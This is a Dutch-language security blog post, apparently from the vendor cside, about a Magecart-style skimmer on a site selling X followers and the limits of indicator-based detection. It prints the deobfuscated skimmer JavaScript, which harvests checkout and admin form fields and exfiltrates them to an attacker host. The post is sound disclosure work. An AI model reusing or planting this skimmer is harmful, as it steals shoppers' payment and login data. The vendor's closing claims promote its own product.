We hebben onlangs een Magecart-stijl skimming-aanval geïdentificeerd die nog steeds actief is op de WordPress-site intertwitter[.]com, een verdacht platform dat Twitter (X) volgerspakketten aanbiedt. Hoewel dit op zichzelf al twijfelachtig is (het kopen van X-volgers is in strijd met de gebruiksvoorwaarden), is het hergebruik van oude infrastructuur en hoe lang deze aanval onopgemerkt actief is gebleven nog zorgwekkender.
Oorspronkelijk gerapporteerd: Sansec, februari 2024
Sansec bevestigt dat kwaadaardige infrastructuur vaak voor langere perioden actief blijft, soms zelfs twee jaar. Vertrouwen op de internetpolitie om malafide servers offline te halen is dan ook geen betrouwbare verdedigingsstrategie.
Willem de Groot -Sansec
Het probleem met uitsluitend IOC-gebaseerde detectie
De meeste beveiligingsprogramma's vertrouwen vandaag de dag nog sterk op Indicators of Compromise (IOC's). Dit omvat bekende kwaadaardige domeinen, IP-adressen en hashes als de eerste (en vaak enige) verdedigingslinie. Hoewel nuttig, slaagt deze aanpak er niet in bedreigingen te detecteren die langzaam evolueren, infrastructuur hergebruiken, of actief zijn in smalle, hoogwaardige contexten zoals client-side web skimming.
In dit geval:
- Het kwaadaardige domein safecontentdelivery[.]com werd meer dan een jaar geleden gemarkeerd.
- Dezelfde IOC werd hergebruikt in meerdere skimming-campagnes.
- Ondanks dat het al maanden publiekelijk bekend is, blijft het actief, wat suggereert dat er geen geautomatiseerde handhaving of wijdverspreide detectie plaatsvindt.
Het feit dat een IOC bekend is, betekent niet dat deze ook geblokkeerd wordt.
Aanvallers rekenen hierop. Ze recyclen infrastructuur, verstoppen zich op minder populaire of dubieuze websites, en wachten geduldig tot het detectievenster sluit. Waarom zou je het wiel opnieuw uitvinden?
We hebben dit domein het afgelopen jaar in meerdere Magecart-campagnes zien opduiken. De lange levensduur ervan toont aan dat lijstgebaseerde verdedigingen gemakkelijk te overleven zijn.
Hoe client-side aanvallen zich in het volle zicht verbergen
Client-side aanvallen zijn notoir moeilijk te detecteren. Niet omdat de payload geavanceerd is, maar omdat ze buiten het zichtbereik van traditionele beveiligingstools vallen.
Dit is waarom:
- Geen server-side compromittering vereist: Eén geïnjecteerd script (via een plugin, externe bibliotheek of stored XSS) is voldoende.
- Alleen uitgevoerd in de browser van het slachtoffer: Serverlogs, WAF's en backendsystemen zien het kwaadaardige gedrag nooit.
- Obfuscatie en ontwijking: Deze scripts gebruiken trucs zoals DevTools-detectie, overschreven browserfuncties en CORS-ontwijkende exfiltratie om analyse te vermijden.
- Verborgen activeringslogica: Het script activeert alleen bij checkout- of adminpaden, waardoor blootstelling wordt beperkt en aandacht wordt vermeden.
Aanvalslogica
- Triggerconditie: Alleen geactiveerd op URL's met /checkout of /admin.
- Doelwitten: Alle formuliervelden
<input>,<select>,<textarea>. - Exfiltreert via:
new Image().srcom CORS te omzeilen. - Bestemming: hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php.
- Anti-analyse: Obfuscatie, JSON-manipulatie en detectie van browserinspectie.
Gedeobfusceerde payload:
if (/checkout|admin/i.test(location.href)) {
const fields = document.querySelectorAll("input, select, textarea");
const data = {};
fields.forEach(field => {
const name = field.name || field.id;
const value = field.tagName === "SELECT"
? field.options[field.selectedIndex].text
: field.value;
if (name && value) data[name] = value;
});
const exfilUrl = `hxxps://csp[.]safecontentdelivery[.]com/app/panel/app.php?rnd=${Math.random() * 1e7}&data=${btoa(JSON.stringify(data))}&loc=${btoa(location.href)}`;
new Image().src = exfilUrl;
}Hoe u uw bedrijf beveiligt
Uitsluitend vertrouwen op IOC's is reactief. Om je te verdedigen tegen moderne bedreigingen, met name aan de client-side, heb je het volgende nodig:
- Gedragsanalyse: Detecteer patronen zoals het scrapen van inloggegevens/formulieren, verdachte scriptinjectie en dynamische DOM-wijzigingen.
- Runtime JavaScript-monitoring: Gebruik tools die in real-time analyseren hoe scripts zich gedragen in de browser.
- Supply chain-hygiëne: Minimaliseer afhankelijkheden van derden en gebruik subresource integrity (SRI) waar mogelijk.
- Content Security Policies (CSP): Beperk welke scripts kunnen worden uitgevoerd en waarheen ze gegevens kunnen versturen.
- Regelmatige browsergebaseerde scanning: Gebruik tools zoals urlscan.io, headless Chrome-scripts of commerciële webbedreigingsmonitors om te analyseren wat gebruikers daadwerkelijk ervaren.
Voor dit alles kunt u op cside rekenen.
V: Wat zijn Indicators of Compromise (IOC's) en waarom zijn ze niet voldoende voor cybersecurity?
IOC's zijn bewijsstukken die gevonden kunnen worden in systeemlogboeken, netwerkverkeer of andere gegevensbronnen. Ze duiden op een mogelijke beveiligingsinbreuk, zoals ongewoon netwerkverkeer, verdachte bestandsactiviteit of ongeautoriseerde toegangspogingen. Het probleem met IOC's is dat ze reactief zijn, en moderne aanvallers veranderen vaak van tactiek, waardoor eerdere IOC's minder effectief zijn tegen nieuwe opkomende bedreigingen. Door een diepgaande analyse van de payload uit te voeren, kan cside deze nieuwe aanvallen voorkomen zonder afhankelijk te zijn van statische dreigingsfeeds.
V: Hoe verbergen client-side aanvallen zich voor traditionele beveiligingstools?
Client-side aanvallen vinden plaats in de webbrowser van de gebruiker, waar kwaadaardige JavaScript kan worden uitgevoerd. In tegenstelling tot traditionele beveiligingstools, zoals Web Application Firewalls (WAF), Static Application Security Testing (SAST) en andere scantools die zich richten op netwerkperimeters en server-side infrastructuur, misbruiken deze aanvallen kwetsbaarheden in JavaScript van derden zonder interactie met uw backend of servercommunicatie. Hierdoor kunnen ze langs verdedigingen glippen tijdens de cruciale laatste interactie tussen uw code en het apparaat van de gebruiker.
V: Wat is een Magecart skimming-aanval en hoe werkt die?
Magecart-aanvallen richten zich op op Magento gebaseerde e-commercesites door kwaadaardige JavaScript te injecteren om creditcardgegevens te onderscheppen tijdens het afrekenen. Visa meldt dat 70% van de creditcarddiefstal nu plaatsvindt via een client-side methode, zoals Magecart en e-skimming. Wanneer klanten hun betalingsgegevens invoeren, wordt de kwaadaardige code uitgevoerd — weliswaar onder bepaalde voorwaarden — en worden deze gegevens onderschept. Voor de klant ziet de transactie er normaal uit, waardoor ze er niet van op de hoogte zijn dat hun gegevens zijn gecompromitteerd.
V: Hoe vermijden aanvallers detectie bij het gebruik van client-side scripts?
JavaScript van derden kan sterk worden verhuld, waardoor het moeilijk te lezen is. Ze maken vaak gebruik van legitiem ogende domeinen die typisch websitegedrag nabootsen. Ze activeren vaak kwaadaardige code die onder specifieke omstandigheden tot ontploffing komt of verbergen hun payload binnen legitieme advertentiediensten. Zo kunnen ze informatie onderscheppen van registratieformulieren of tijdens het afrekenen. Omdat JavaScript zeer dynamisch is en niet met uw server hoeft te communiceren, kan het buiten het zicht van traditionele beveiligingstools blijven. Alleen als u de volledige payload kunt zien, kunt u een client-side aanval stoppen — en dat is iets wat alleen een volledige proxy kan doen.
V: Hoe kan Content Security Policy (CSP) helpen client-side aanvallen te voorkomen?
De implementatie van een content security policy werkt als een allowlist voor de scripts op uw website, waarbij alleen naar de adressen van de scripts wordt gekeken. Wanneer geïmplementeerd, blokkeert de browser alles wat niet aan die criteria voldoet. CSP kan echter de payload niet inzien en dynamische aanvallen niet voorkomen die onder specifieke omstandigheden tot ontploffing komen die geo-, tijd- of apparaatgerelateerd zijn. Alleen als u de volledige payload kunt zien, kunt u een client-side aanval stoppen — en dat is iets wat alleen een volledige proxy kan doen.
